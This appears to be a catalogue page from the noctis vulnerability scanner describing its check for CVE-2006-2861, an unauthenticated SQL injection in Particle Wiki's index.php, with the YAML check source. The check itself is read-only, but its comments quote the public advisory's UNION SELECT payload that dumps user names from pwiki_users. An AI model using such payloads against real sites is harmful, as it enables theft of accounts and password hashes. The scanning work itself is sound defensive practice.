Particle Wiki — 1 vulnerability check

noctis ships 1 vulnerability check for Particle Wiki, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Particle Wiki index.php version SQL Injection

CVECVE-2006-2861
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/particle-wiki/CVE-2006-2861.yaml

Particle Wiki (a PHP/MySQL wiki, 1.0.2 and earlier) pastes the version parameter of index.php, unquoted and unchecked, into the SQL query that loads an older revision of a page, without authentication, and prints the returned row, allowing SQL injection (an attacker can read the whole database, including the user names and password hashes).

This check requests index.php under the web root and the usual install paths with a version value that appends a UNION SELECT of an expression multiplying two random numbers, first in every column, then in the sixth column only. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. No stored data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php?version={{sc.q_all}}
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/index.php?version={{sc.q_col6}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit_dir for ^/ → finding QoD 97: Particle Wiki index.php version SQL Injection (CVE-2006-2861)

References:

Feed source — tests/vulnerabilities/particle-wiki/CVE-2006-2861.yaml
# Particle Wiki — index.php version SQL injection — CVE-2006-2861
#
# Particle Wiki (Particle Soft, PHP/MySQL wiki, 1.0.2 and earlier; the vendor site and its
# downloads are gone, no copy of the source is reachable) shows an older revision of a page
# when index.php gets a version parameter, pasted unquoted into a 6-column SELECT, without
# authentication. The public advisory (pridels, June 2006; EDB-1878) dumps the accounts with
#     index.php?version=-1 union select 1,1,1,1,1,username from pwiki_users /*
# (column 6, the revision text, is printed).
#
# Detection, per candidate install dir (web root and the usual install paths):
#   (QoD 97) index.php?version=-1 UNION ALL SELECT C,C,C,C,C,C-- -
#   then, if it missed, the advisory's shape index.php?version=-1 UNION ALL SELECT 1,1,1,1,1,C-- -
#   with C = CONCAT(0x4e4f43544953,a*b,0x454e44) and random six-digit a, b. The vulnerable
#   page prints NOCTIS<a*b>END, a value computed by the database that never appears in the
#   request. Read-only: no table is selected from, nothing is written.
#
# Better than the source NASL:
#   - the reference check matches the fixed string SQL-Injection-Test, which its own request
#     carries hex-encoded: any page that echoes the version parameter decoded (or a
#     catch-all reflector) would not match, but a page that reflects the SQL text through
#     a MySQL error message showing the evaluated literal would; the database-computed
#     product cannot be reflected;
#   - the advisory's "/*" terminator is unclosed: current MariaDB and MySQL releases reject it when
#     the query continues after the parameter (ORDER BY, LIMIT), a false negative; "-- -"
#     ends the query on every version;
#   - the marker is tried in every column first, so an install whose page prints another
#     column than the 6th is still found; several install dirs are probed instead of the
#     single location of a detection script.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_particle_wiki_18273.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100837), GPL-2.0-only; advisory EDB-1878, BID 18273.
uid: be2d3afd-d0e1-4b60-bc9f-b359beee8746
name: "Particle Wiki index.php version SQL Injection (CVE-2006-2861)"
description: |
  Particle Wiki (a PHP/MySQL wiki, 1.0.2 and earlier) pastes the version parameter of
  index.php, unquoted and unchecked, into the SQL query that loads an older revision of a
  page, without authentication, and prints the returned row, allowing SQL injection (an
  attacker can read the whole database, including the user names and password hashes).

  This check requests index.php under the web root and the usual install paths with a
  version value that appends a UNION SELECT of an expression multiplying two random
  numbers, first in every column, then in the sixth column only. The vulnerability is
  confirmed when the page shows the product computed by the database, which never appears
  in the request. No stored data is read and nothing is written.
cves: [CVE-2006-2861]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [particle-wiki, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-2861"
  - "https://www.exploit-db.com/exploits/1878"
  - "https://www.securityfocus.com/bid/18273"

steps:
  # ── Random operands, expected value and the encoded version payloads ──────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      let pre = "-1%20UNION%20ALL%20SELECT%20";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q_all: pre + c + "," + c + "," + c + "," + c + "," + c + "," + c + "--%20-",
         q_col6: pre + "1,1,1,1,1," + c + "--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-resp
    action: set_var
    var_name: all_resp
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/wiki", "/pwiki", "/particle", "/particlewiki", "/particle_wiki", "/particle-wiki"]

  - id: init-col6-resp
    action: set_var
    var_name: col6_resp
    var_value: {status: 0, body: ""}

  - id: union-all-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?version={{sc.q_all}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: all_resp

  - id: check-all
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(all_resp.body) == "string" { all_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: union-col6-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?version={{sc.q_col6}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && all_resp.status > 0 && all_resp.status != 404'
    store_as: col6_resp

  - id: check-col6
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(col6_resp.body) == "string" { col6_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  # ── Finding (inside the loop group: stop ends the scan at the first hit) ──
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "Particle Wiki index.php version SQL Injection (CVE-2006-2861)"
        description: "An unauthenticated index.php request whose version value appends a UNION SELECT multiplying two random numbers returned the product computed by the database: an attacker can read the whole database, including the user names and password hashes."
        remediation: "Particle Wiki is no longer maintained and no fixed release is known: remove the application, or at least restrict access to it (for example with HTTP authentication on its directory)."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: index.php?version=-1 UNION ALL SELECT …CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44) printed the database-computed value {{sc.want}}"
      stop: true

View these feeds on GitHub